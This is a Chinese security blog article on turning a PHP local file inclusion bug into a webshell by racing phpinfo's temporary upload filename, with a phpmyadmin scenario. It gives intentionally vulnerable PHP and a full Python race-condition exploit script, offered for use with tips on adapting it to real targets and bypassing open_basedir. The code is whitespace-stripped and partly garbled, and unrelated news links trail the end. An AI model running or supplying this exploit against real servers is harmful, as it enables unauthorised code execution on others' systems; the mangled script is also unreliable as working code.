技术讨论 | PHP本地文件包含漏洞GetShell
序言
让我们突破重重苛刻环境GetShell , 文中有以phpmyadmin包含漏洞做演示 。
PS:本文仅用于技术讨论与分析 , 严禁用于任何非法用途 , 违者后果自负 。
漏洞背景当您在发现PHP本地文件包含漏洞的时候 , 却尴尬于没有上传点 , 或者受到base_dir的限制 , 可以尝试用如下操作进行突破 。
利用条件1.存在PHP文件包含漏洞
2.存在PHPINFO泄漏页面,或者其他debug泄漏,获取tmp_name值
漏洞复现演示环境:Windows+php5.60x01:PHP文件上传<?phpif((($_FILES["file"]["type"]=="image/gif")||($_FILES["file"]["type"]=="image/jpeg")||($_FILES["file"]["type"]=="image/pjpeg"))&&($_FILES["file"]["size"]<20000)){if($_FILES["file"]["error"]>0){echo"Error:".$_FILES["file"]["error"]."<br/>";}else{echo"Upload:".$_FILES["file"]["name"]."<br/>";echo"Type:".$_FILES["file"]["type"]."<br/>";echo"Size:".($_FILES["file"]["size"]/1024)."Kb<br/>";echo"Storedin:".$_FILES["file"]["tmp_name"];}}else{echo"Invalidfile";}?>上面的例子在服务器的PHP临时文件夹创建了一个被上传文件的临时副本 , 但是并没有保存 ,
上传文件名以php+random(6)进行拼接
在给PHP发送POST数据包时 , 如果数据包里包含文件区块 , 无论你访问的代码中有没有处理文件上传的逻辑 , PHP都会将这个文件保存成一个临时文件
这个文件在生成的瞬间又被删除 , 利用条件竞争进行包含
0x02:获取临时文件名phpinfo会打印出所有请求的变量 , 所以我们只需要向phpinfo发送上传文件的数据包 , 就可以获取到临时文件名

文章图片
但是文件删除的速度很快 , 导致条件竞争很难利用 , 通过学习P牛师傅的文章 ,
需要用到条件竞争 , 具体流程如下:
1.php默认的缓冲区大小为4096 , 每次返回的socket连接为4096字节
2.因为phpinfo会打印出所有接收的数据 , 我们需要发送垃圾数据 , 让Response回显的内容很大
3.利用原生的socket建立连接 , 控制返回 , 每次只读取4096字节 , 只要获取到文件名 , 就立马发送第二个数据包
4.此时第一个socket连接并没有结束 , 所以可以利用这个时间差 , 进行条件竞争 , 利用文件包含漏洞进行getshell
复现【技术讨论 | PHP本地文件包含漏洞GetShell】phpinfo.php
<?phpphpinfo;?>lfi.php
<?php$a=$_GET['file'];include($a);?>利用脚本 , windows环境下//我这边是windows环境测试 , 主要修改切片获取的文件名 , 然后根据具体实战环境去修改REQ1REQ2
#!/usr/bin/pythonimportsysimportthreadingimportsocketdefsetup(host,port):TAG="SecurityTest"PAYLOAD="""%sr<?phpfile_put_contents('aaa.php','<?phpphpinfo;?>');?>r"""%TAGREQ1_DATA="""7dbff1ded0714rContent-Disposition:form-data;name="dummyname";filename="test.txt"rContent-Type:text/plainrr%s7dbff1ded0714--r"""%PAYLOADpadding="A"*5000REQ1="""POST/phpinfo.php?a="""+padding+"""HTTP/1.1rCookie:PHPSESSID=aqf2ev7vo5puq7bpbnihcs0pbdanfo1j;othercookie="""+padding+"""rHTTP_ACCEPT:"""+padding+"""rHTTP_USER_AGENT:"""+padding+"""rHTTP_ACCEPT_LANGUAGE:"""+padding+"""rHTTP_PRAGMA:"""+padding+"""rContent-Type:multipart/form-data;boundary=7dbff1ded0714rContent-Length:%srHost:%srr%s"""%(len(REQ1_DATA),host,REQ1_DATA)#modifythistosuittheLFIscriptLFIREQ="""GET/ec.php?file=%sHTTP/1.1rCookie:xxxxrUser-Agent:Mozilla/4.0rProxy-Connection:Keep-AliverHost:%srrr"""return(REQ1,TAG,LFIREQ)defphpInfoLFI(host,port,phpinforeq,offset,lfireq,tag):s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,port))s2.connect((host,port))s.send(phpinforeq)d=""whilelen(d)<offset:try:i=d.index("[tmp_name]=>")fn=d[i+17:i+48]exceptValueError:returnNones2.send(lfireq%(fn,host))d=s2.recv(4096)print(lfireq%(fn,host))print(d)s.closes2.closeifd.find(tag)!=-1:counter=0threading.Thread.__init__(self)self.event=eself.lock=lself.maxattempts=mself.args=argsifcounter>=self.maxattempts:returncounter+=1try:x=phpInfoLFI(*self.args)ifself.event.is_set:ifx:print"nGotit!Shellcreatedin/tmp/g"self.event.setexceptsocket.error:returndefgetOffset(host,port,phpinforeq):"""Getsoffsetoftmp_nameinthephpoutput"""s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,port))s.send(phpinforeq)d=""whileTrue:i=s.recv(4096)d+=iifi=="":break#detectthefinalchunkifi.endswith("0rnrn"):breaks.closei=d.find("[tmp_name]=>")ifi==-1:raiseValueError("Nophptmp_nameinphpinfooutput")print"found%sat%i"%(d[i:i+10],i)#paddedupabitreturni+256defmain:print"LFIWithPHPInfo"print"-="*30iflen(sys.argv)<2:print"Usage:%shost[port][threads]"%sys.argv[0]sys.exit(1)try:host=socket.gethostbyname(sys.argv[1])exceptsocket.error,e:print"Errorwithhostname%s:%s"%(sys.argv[1],e)sys.exit(1)port=80try:port=int(sys.argv[2])exceptIndexError:passexceptValueErrorase:print"Errorwithport%d:%s"%(sys.argv[2],e)sys.exit(1)poolsz=10try:poolsz=int(sys.argv[3])exceptValueError,e:print"Errorwithpoolsz%d:%s"%(sys.argv[3],e)sys.exit(1)print"Gettinginitialoffset...",reqphp,tag,reqlfi=setup(host,port)offset=getOffset(host,port,reqphp)sys.stdout.flushmaxattempts=1000e=threading.Eventl=threading.Lockprint"Spawningworkerpool(%d)..."%poolszsys.stdout.flushtp=foriinrange(0,poolsz):tp.append(ThreadWorker(e,l,maxattempts,host,port,reqphp,offset,reqlfi,tag))fortintp:t.starttry:whilenote.wait(1):ife.is_set:breakwithl:sys.stdout.write("r%4d/%4d"%(counter,maxattempts))ifcounter>=maxattempts:breakprintife.is_set:print"Woot!m/"else:exceptKeyboardInterrupt:print"nTellingthreadstoshutdown..."e.setprint"Shuttin'down..."if__name__=="__main__":mainGetShell:

文章图片
参数:target_hostportthread
此时的aaa.php并不存在 , 我将写入一个aaa.php内容为
Run:

文章图片
可以看到 , temp已经产生了临时文件 , (手快抓到的 , 临时文件会很快删除)刷新访问aaa.php

文章图片
实战场景:
默认phpmyadmin,加phpinfo探针(某主机默认建站环境)
1.利用phpmyadmin的文件包含漏洞 ,
2.通过探针页面 , 发送上传包 , 获取临时文件名 ,
3.条件竞争getshell
(有大哥可能会问我 , 为什么不包含日志等 , 因为我遇到了open_basedir , 限制很死)
踩坑日记:
mysql写在tmp的文件,www用户无权限读取 。
open_basedir限制php包含路径 。
无上传点 , 所以利用该漏洞进行突破极限~
PY:记得把py脚本改改 , 切片在windows下获取文件名会踩坑 , 用re就好了 , 有点懒 , 我就简单改了一下临时用 , 大哥们操作的时候记得改一下 。
参考漏洞挖掘
https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
精彩推荐

文章图片

文章图片
推荐阅读
- 旅行路上阿|成都反差最大景区,一边是游客专属一边本地人最爱,门票相差4倍
- 旅行在路上啊|成都反差最大景区,一边是游客专属一边本地人最爱,门票相差4倍
- 汽车|2022年底年底前买本地车 郑州市财政补贴5000元/辆
- 开学|秋季开学在即,多地建议师生开学前14天不离开本地
- 冬季蔬菜|新疆最大农产品批发市场:搭建购销平台 助力本地果蔬销售(图)
- 传染病|香港新增74例确诊病例 本地确诊病例中20例源头不明
- 赛场观战|湛江最恐怖食物,外观让人无法下咽,本地人:它比任何海鲜都干净
- 中国新闻网|北京疫情最新通报:8月15日无新增本地确诊、疑似病例和无症状感染者
- 投资者提问:董秘您好建议公司收购福建淘股吧,都是本地互联网企业。这样有利于...
- 治愈|北京8月15日无新增本地确诊、疑似病例和无症状感染者
